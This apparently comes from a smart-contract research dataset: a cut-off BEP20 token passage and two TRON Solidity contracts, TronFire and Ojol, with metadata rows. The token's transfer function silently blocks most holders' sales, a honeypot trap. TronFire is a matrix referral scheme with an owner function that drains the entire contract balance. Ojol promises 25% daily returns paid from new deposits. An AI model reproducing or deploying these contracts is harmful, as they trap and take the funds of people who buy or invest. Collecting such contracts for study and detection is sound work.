decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); bool allow = false; if(sender == pancakeV2Router || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) { allow = true; } else { if((amount <= _AMM || isSL) && !isContract(sender)) { allow = true; } } if(allow) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function pancakePair() public view virtual returns (address) { address pancakeV2Factory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73; address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; address pairAddress = IPancakeFactory(pancakeV2Factory).getPair(address(WBNB), address(this)); return pairAddress; } function isContract(address addr) internal view returns (bool) { bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; bytes32 codehash; assembly { codehash := extcodehash(addr) } return (codehash != 0x0 && codehash != accountHash); } function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
249,862
12,030
91cbcd1dbe18e74a88b74d617bef79e041e88b152df1ffc92751c03a5ee9090f
21,308
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TY/TY4CoYaRgQ2CEFpbhY2EKgfV1GpEMpUaWK_TronFire.sol
5,314
20,315
//SourceUnit: tronfire_finally.sol pragma solidity 0.5.10; contract XGOLD { function deposit(address sender, address referrer) public payable; } contract TronFire { struct User { uint id; address referrer; uint partnersCount; mapping(uint8 => bool) activeX3Levels; mapping(uint8 => bool) activeX6Levels; mapping(uint8 => X3) x3Matrix; mapping(uint8 => X6) x6Matrix; } struct X3 { address currentReferrer; address[] referrals; bool blocked; uint reinvestCount; } struct X6 { address currentReferrer; address[] firstLevelReferrals; address[] secondLevelReferrals; bool blocked; uint reinvestCount; address closedPart; } uint8 public currentStartingLevel = 1; uint8 public constant LAST_LEVEL = 16; mapping(address => User) public users; mapping(uint => address) public idToAddress; uint public lastUserId = 2; address public owner; mapping(uint8 => uint) public levelPrice; XGOLD public xGOLD; event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId); event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level); event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level); event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place); event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level); event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level); constructor(address ownerAddress) public { levelPrice[1] = 200 trx; levelPrice[2] = 400 trx; levelPrice[3] = 800 trx; levelPrice[4] = 1600 trx; levelPrice[5] = 3200 trx; levelPrice[6] = 6400 trx; levelPrice[7] = 12800 trx; levelPrice[8] = 25600 trx; levelPrice[9] = 51200 trx; levelPrice[10] = 102400 trx; levelPrice[11] = 204800 trx; levelPrice[12] = 409600 trx; levelPrice[13] = 819200 trx; levelPrice[14] = 1638400 trx; levelPrice[15] = 3276800 trx; levelPrice[16] = 6553600 trx; owner = ownerAddress; User memory user = User({ id: 1, referrer: address(0), partnersCount: uint(0) }); users[ownerAddress] = user; idToAddress[1] = ownerAddress; for (uint8 i = 1; i <= LAST_LEVEL; i++) { users[ownerAddress].activeX3Levels[i] = true; users[ownerAddress].activeX6Levels[i] = true; } } function() external payable { if(msg.data.length == 0) { return registration(msg.sender, owner); } registration(msg.sender, bytesToAddress(msg.data)); } function setXGold(address xGoldAddress) public { require(msg.sender == owner, "onlyOwner"); require(address(xGOLD) == address(0)); xGOLD = XGOLD(xGoldAddress); } function withdrawLostTRXFromBalance() public { require(msg.sender == owner, "onlyOwner"); msg.sender.transfer(address(this).balance); } function registrationExt(address referrerAddress) external payable { registration(msg.sender, referrerAddress); } function buyNewLevel(uint8 matrix, uint8 level) external payable { require(isUserExists(msg.sender), "user is not exists. Register first."); require(matrix == 1 || matrix == 2, "invalid matrix"); require(msg.value == levelPrice[level], "invalid price"); require(level > 1 && level <= LAST_LEVEL, "invalid level"); if (matrix == 1) { require(users[msg.sender].activeX3Levels[level-1], "buy previous level first"); require(!users[msg.sender].activeX3Levels[level], "level already activated"); if (users[msg.sender].x3Matrix[level-1].blocked) { users[msg.sender].x3Matrix[level-1].blocked = false; } address freeX3Referrer = findFreeX3Referrer(msg.sender, level); users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer; users[msg.sender].activeX3Levels[level] = true; updateX3Referrer(msg.sender, freeX3Referrer, level); emit Upgrade(msg.sender, freeX3Referrer, 1, level); } else { require(users[msg.sender].activeX6Levels[level-1], "buy previous level first"); require(!users[msg.sender].activeX6Levels[level], "level already activated"); if (users[msg.sender].x6Matrix[level-1].blocked) { users[msg.sender].x6Matrix[level-1].blocked = false; } address freeX6Referrer = findFreeX6Referrer(msg.sender, level); users[msg.sender].activeX6Levels[level] = true; updateX6Referrer(msg.sender, freeX6Referrer, level); emit Upgrade(msg.sender, freeX6Referrer, 2, level); } } function registration(address userAddress, address referrerAddress) private { require(!isUserExists(userAddress), "user exists"); require(isUserExists(referrerAddress), "referrer not exists"); uint32 size; assembly { size := extcodesize(userAddress) } require(size == 0, "cannot be a contract"); if (address(xGOLD) != address(0)) { xGOLD.deposit(userAddress, referrerAddress); require(msg.value == levelPrice[currentStartingLevel] * 3, "invalid registration cost"); } else { require(msg.value == levelPrice[currentStartingLevel] * 2, "invalid registration cost"); } User memory user = User({ id: lastUserId, referrer: referrerAddress, partnersCount: 0 }); users[userAddress] = user; idToAddress[lastUserId] = userAddress; users[userAddress].referrer = referrerAddress; users[userAddress].activeX3Levels[1] = true; users[userAddress].activeX6Levels[1] = true; lastUserId++; users[referrerAddress].partnersCount++; address freeX3Referrer = findFreeX3Referrer(userAddress, 1); users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer; updateX3Referrer(userAddress, freeX3Referrer, 1); updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1); emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id); } function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private { users[referrerAddress].x3Matrix[level].referrals.push(userAddress); if (users[referrerAddress].x3Matrix[level].referrals.length < 3) { emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length)); return sendETHDividends(referrerAddress, userAddress, 1, level); } emit NewUserPlace(userAddress, referrerAddress, 1, level, 3); //close matrix users[referrerAddress].x3Matrix[level].referrals = new address[](0); if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x3Matrix[level].blocked = true; } //create new one by recursion if (referrerAddress != owner) { //check referrer active level address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level); if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) { users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress; } users[referrerAddress].x3Matrix[level].reinvestCount++; emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level); updateX3Referrer(referrerAddress, freeReferrerAddress, level); } else { sendETHDividends(owner, userAddress, 1, level); users[owner].x3Matrix[level].reinvestCount++; emit Reinvest(owner, address(0), userAddress, 1, level); } } function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private { require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive"); if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) { users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x6Matrix[level].currentReferrer = referrerAddress; if (referrerAddress == owner) { return sendETHDividends(referrerAddress, userAddress, 2, level); } address ref = users[referrerAddress].x6Matrix[level].currentReferrer; users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress); uint len = users[ref].x6Matrix[level].firstLevelReferrals.length; if ((len == 2) && (users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) && (users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } else if ((len == 1 || len == 2) && users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 3); } else { emit NewUserPlace(userAddress, ref, 2, level, 4); } } else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } return updateX6ReferrerSecondLevel(userAddress, ref, level); } users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress); if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) { if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) && (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].closedPart)) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].closedPart) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else { updateX6(userAddress, referrerAddress, level, false); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } } if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) { updateX6(userAddress, referrerAddress, level, false); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <= users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) { updateX6(userAddress, referrerAddress, level, false); } else { updateX6(userAddress, referrerAddress, level, true); } updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private { if (!x2) { users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]; } else { users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]; } } function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private { if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) { if(level>1) return sendETHDividends(owner, userAddress, 2, level); else return sendETHDividends(referrerAddress, userAddress, 2, level); } address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals; if (x6.length == 2) { if (x6[0] == referrerAddress || x6[1] == referrerAddress) { users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress; } else if (x6.length == 1) { if (x6[0] == referrerAddress) { users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress; } } } users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0); users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0); users[referrerAddress].x6Matrix[level].closedPart = address(0); if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x6Matrix[level].blocked = true; } users[referrerAddress].x6Matrix[level].reinvestCount++; if (referrerAddress != owner) { address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level); emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level); updateX6Referrer(referrerAddress, freeReferrerAddress, level); } else { emit Reinvest(owner, address(0), userAddress, 2, level); sendETHDividends(owner, userAddress, 2, level); } } function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) { while (true) { if (users[users[userAddress].referrer].activeX3Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; } } function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) { while (true) { if (users[users[userAddress].referrer].activeX6Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; } } function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) { return users[userAddress].activeX3Levels[level]; } function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) { return users[userAddress].activeX6Levels[level]; } function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool, uint256) { return (users[userAddress].x3Matrix[level].currentReferrer, users[userAddress].x3Matrix[level].referrals, users[userAddress].x3Matrix[level].blocked, users[userAddress].x3Matrix[level].reinvestCount); } function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address, uint256) { return (users[userAddress].x6Matrix[level].currentReferrer, users[userAddress].x6Matrix[level].firstLevelReferrals, users[userAddress].x6Matrix[level].secondLevelReferrals, users[userAddress].x6Matrix[level].blocked, users[userAddress].x6Matrix[level].closedPart, users[userAddress].x6Matrix[level].reinvestCount); } function isUserExists(address user) public view returns (bool) { return (users[user].id != 0); } function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) { address receiver = userAddress; bool isExtraDividends; if (matrix == 1) { while (true) { if (users[receiver].x3Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 1, level); isExtraDividends = true; receiver = users[receiver].x3Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } else { while (true) { if (users[receiver].x6Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 2, level); isExtraDividends = true; receiver = users[receiver].x6Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } } function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private { (address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level); if (!address(uint160(receiver)).send(levelPrice[level])) { address(uint160(owner)).send(address(this).balance); return; } if (isExtraDividends) { emit SentExtraEthDividends(_from, receiver, matrix, level); } } function bytesToAddress(bytes memory bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } } //41a4e7176790732f8a2a7593902d63748386923531
302,340
12,031
7b8ee3843b0da6544584fb8de8494ec7c83bce3d8e575b8185eb90221a1dda0d
18,327
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TD/TD7yfaSWTrVqc78L88uCVPXRbEfCfwvHS1_Ojol.sol
4,835
17,542
//SourceUnit: coba.sol pragma solidity 0.5.10; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library Objects { struct Investment { uint256 investmentDate; uint256 investment; uint256 lastWithdrawalDate; uint256 currentDividends; bool isExpired; } struct Investor { address addr; uint256 checkpoint; uint256 referrerEarnings; uint256 availableReferrerEarnings; uint256 reinvestWallet; uint256 referrer; uint256 planCount; mapping(uint256 => Investment) plans; uint256 level1RefCount; uint256 level2RefCount; uint256 level3RefCount; } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } contract Ojol is Ownable { using SafeMath for uint256; uint256 public constant DEVELOPER_RATE = 40; // 4% Team, Operation & Development uint256 public constant MARKETING_RATE = 40; // 4% Marketing uint256 public constant REFERENCE_RATE = 180; // 18% Total Refer Income uint256 public constant REFERENCE_LEVEL1_RATE = 100; // 10% Level 1 Income uint256 public constant REFERENCE_LEVEL2_RATE = 50; // 5% Level 2 Income uint256 public constant REFERENCE_LEVEL3_RATE = 30; // 3% Level 3 Income uint256 public constant MINIMUM = 100e6; // Minimum investment : 100 TRX uint256 public constant REFERRER_CODE = 1000; // Root ID : 1000 uint256 public constant PLAN_INTEREST = 250; // 25% Daily Roi uint256 public constant PLAN_TERM = 8 days; // 8 Days uint256 public constant CONTRACT_LIMIT = 800; // 20% Unlocked for Withdrawal Daily uint256 public contract_balance; uint256 private contract_checkpoint; uint256 public latestReferrerCode; uint256 public totalInvestments_; uint256 public totalReinvestments_; address payable private developerAccount_; address payable private marketingAccount_; mapping(address => uint256) public address2UID; mapping(uint256 => Objects.Investor) public uid2Investor; event onInvest(address investor, uint256 amount); event onReinvest(address investor, uint256 amount); event onWithdraw(address investor, uint256 amount); constructor() public { developerAccount_ = msg.sender; marketingAccount_ = msg.sender; _init(); } function _init() private { latestReferrerCode = REFERRER_CODE; address2UID[msg.sender] = latestReferrerCode; uid2Investor[latestReferrerCode].addr = msg.sender; uid2Investor[latestReferrerCode].referrer = 0; uid2Investor[latestReferrerCode].planCount = 0; } function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner { require(_newMarketingAccount != address(0)); marketingAccount_ = _newMarketingAccount; } function getMarketingAccount() public view onlyOwner returns (address) { return marketingAccount_; } function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner { require(_newDeveloperAccount != address(0)); developerAccount_ = _newDeveloperAccount; } function getDeveloperAccount() public view onlyOwner returns (address) { return developerAccount_; } function getBalance() public view returns (uint256) { return address(this).balance; } function getUIDByAddress(address _addr) public view returns (uint256) { return address2UID[_addr]; } function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory) { if (msg.sender != owner) { require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info."); } Objects.Investor storage investor = uid2Investor[_uid]; uint256[] memory newDividends = new uint256[](investor.planCount); for (uint256 i = 0; i < investor.planCount; i++) { require(investor.plans[i].investmentDate != 0, "wrong investment date"); if (investor.plans[i].isExpired) { newDividends[i] = 0; } else { if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) { newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate); } else { newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate); } } } return (investor.referrerEarnings, investor.availableReferrerEarnings, investor.reinvestWallet, investor.referrer, investor.level1RefCount, investor.level2RefCount, investor.level3RefCount, investor.planCount, investor.checkpoint, newDividends); } function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) { if (msg.sender != owner) { require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info."); } Objects.Investor storage investor = uid2Investor[_uid]; uint256[] memory investmentDates = new uint256[](investor.planCount); uint256[] memory investments = new uint256[](investor.planCount); uint256[] memory currentDividends = new uint256[](investor.planCount); bool[] memory isExpireds = new bool[](investor.planCount); for (uint256 i = 0; i < investor.planCount; i++) { require(investor.plans[i].investmentDate!=0,"wrong investment date"); currentDividends[i] = investor.plans[i].currentDividends; investmentDates[i] = investor.plans[i].investmentDate; investments[i] = investor.plans[i].investment; if (investor.plans[i].isExpired) { isExpireds[i] = true; } else { isExpireds[i] = false; if (PLAN_TERM > 0) { if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) { isExpireds[i] = true; } } } } return (investmentDates, investments, currentDividends, isExpireds); } function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) { if (_referrerCode >= REFERRER_CODE) { if (uid2Investor[_referrerCode].addr == address(0)) { _referrerCode = 0; } } else { _referrerCode = 0; } address addr = _addr; latestReferrerCode = latestReferrerCode.add(1); address2UID[addr] = latestReferrerCode; uid2Investor[latestReferrerCode].addr = addr; uid2Investor[latestReferrerCode].referrer = _referrerCode; uid2Investor[latestReferrerCode].planCount = 0; if (_referrerCode >= REFERRER_CODE) { uint256 _ref1 = _referrerCode; uint256 _ref2 = uid2Investor[_ref1].referrer; uint256 _ref3 = uid2Investor[_ref2].referrer; uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1); if (_ref2 >= REFERRER_CODE) { uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1); } if (_ref3 >= REFERRER_CODE) { uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1); } } return (latestReferrerCode); } function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) { require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement"); uint256 uid = address2UID[_addr]; if (uid == 0) { uid = _addInvestor(_addr, _referrerCode); //new user } else { //old user //do nothing, referrer is permenant } uint256 planCount = uid2Investor[uid].planCount; Objects.Investor storage investor = uid2Investor[uid]; investor.plans[planCount].investmentDate = block.timestamp; investor.plans[planCount].lastWithdrawalDate = block.timestamp; investor.plans[planCount].investment = _amount; investor.plans[planCount].currentDividends = 0; investor.plans[planCount].isExpired = false; investor.planCount = investor.planCount.add(1); _calculateReferrerReward(_amount, investor.referrer); totalInvestments_ = totalInvestments_.add(_amount); uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000); developerAccount_.transfer(developerPercentage); uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000); marketingAccount_.transfer(marketingPercentage); return true; } function _reinvestAll(address _addr, uint256 _amount) private returns (bool) { require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement"); uint256 uid = address2UID[_addr]; uint256 planCount = uid2Investor[uid].planCount; Objects.Investor storage investor = uid2Investor[uid]; investor.plans[planCount].investmentDate = block.timestamp; investor.plans[planCount].lastWithdrawalDate = block.timestamp; investor.plans[planCount].investment = _amount; investor.plans[planCount].currentDividends = 0; investor.plans[planCount].isExpired = false; investor.planCount = investor.planCount.add(1); totalReinvestments_ = totalReinvestments_.add(_amount); return true; } function invest(uint256 _referrerCode) public payable { if (_invest(msg.sender, _referrerCode, msg.value)) { emit onInvest(msg.sender, msg.value); } } function withdraw() public { uint256 uid = address2UID[msg.sender]; require(uid != 0, "Can not withdraw because no any investments"); require(withdrawAllowance(), "Withdraw are not allowed between 0am to 4am UTC"); //only once a day require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day"); uid2Investor[uid].checkpoint = block.timestamp; uint256 withdrawalAmount = 0; for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) { if (uid2Investor[uid].plans[i].isExpired) { continue; } bool isExpired = false; uint256 withdrawalDate = block.timestamp; uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM); if (withdrawalDate >= endTime) { withdrawalDate = endTime; isExpired = true; } uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate); withdrawalAmount += amount; uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate; uid2Investor[uid].plans[i].isExpired = isExpired; uid2Investor[uid].plans[i].currentDividends += amount; } if(withdrawalAmount>0){ uint256 currentBalance = getBalance(); if(withdrawalAmount >= currentBalance){ withdrawalAmount=currentBalance; } require(currentBalance.sub(withdrawalAmount) >= contract_balance.mul(CONTRACT_LIMIT).div(1000), "80% contract balance limit"); uint256 reinvestAmount = withdrawalAmount.div(2); if(withdrawalAmount > 90e9){ reinvestAmount = withdrawalAmount.sub(45e9); } //reinvest uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount); //withdraw msg.sender.transfer(withdrawalAmount.sub(reinvestAmount)); uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_RATE)).div(1000); developerAccount_.transfer(developerPercentage); uint256 marketingPercentage = (withdrawalAmount.mul(MARKETING_RATE)).div(1000); marketingAccount_.transfer(marketingPercentage); } emit onWithdraw(msg.sender, withdrawalAmount); } function reinvest() public { uint256 uid = address2UID[msg.sender]; require(uid != 0, "Can not reinvest because no any investments"); //only once a day require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day"); uid2Investor[uid].checkpoint = block.timestamp; uint256 withdrawalAmount = 0; for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) { if (uid2Investor[uid].plans[i].isExpired) { continue; } bool isExpired = false; uint256 withdrawalDate = block.timestamp; uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM); if (withdrawalDate >= endTime) { withdrawalDate = endTime; isExpired = true; } uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate); withdrawalAmount += amount; uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate; uid2Investor[uid].plans[i].isExpired = isExpired; uid2Investor[uid].plans[i].currentDividends += amount; } if (uid2Investor[uid].availableReferrerEarnings>0) { withdrawalAmount += uid2Investor[uid].availableReferrerEarnings; uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings); uid2Investor[uid].availableReferrerEarnings = 0; } if (uid2Investor[uid].reinvestWallet>0) { withdrawalAmount += uid2Investor[uid].reinvestWallet; uid2Investor[uid].reinvestWallet = 0; } if(withdrawalAmount>0){ //reinvest _reinvestAll(msg.sender,withdrawalAmount); } emit onReinvest(msg.sender, withdrawalAmount); } function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) { return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24); } function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private { uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000); if (_referrerCode != 0) { uint256 _ref1 = _referrerCode; uint256 _ref2 = uid2Investor[_ref1].referrer; uint256 _ref3 = uid2Investor[_ref2].referrer; uint256 _refAmount = 0; if (_ref1 != 0) { _refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000); _allReferrerAmount = _allReferrerAmount.sub(_refAmount); uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings); } if (_ref2 != 0) { _refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000); _allReferrerAmount = _allReferrerAmount.sub(_refAmount); uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings); } if (_ref3 != 0) { _refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000); _allReferrerAmount = _allReferrerAmount.sub(_refAmount); uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings); } } } function updateBalance() public { //only once a day require(block.timestamp > contract_checkpoint + 1 days , "Only once a day"); contract_checkpoint = block.timestamp; contract_balance = getBalance(); } function getHour() public view returns (uint8){ return uint8((block.timestamp / 60 / 60) % 24); } function withdrawAllowance() public view returns(bool){ uint8 hour = getHour(); if(hour >= 0 && hour <= 3){ return false; } else{ return true; } } }
297,267
12,032
581ffce15f6ff481580081a8bbceeb0f351dbaea665bc4485bed54a6a90ec2f3
13,356
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x75e494f8a92ad1daa4fd6e78cbac33f84c2f25b9.sol
3,808
13,216
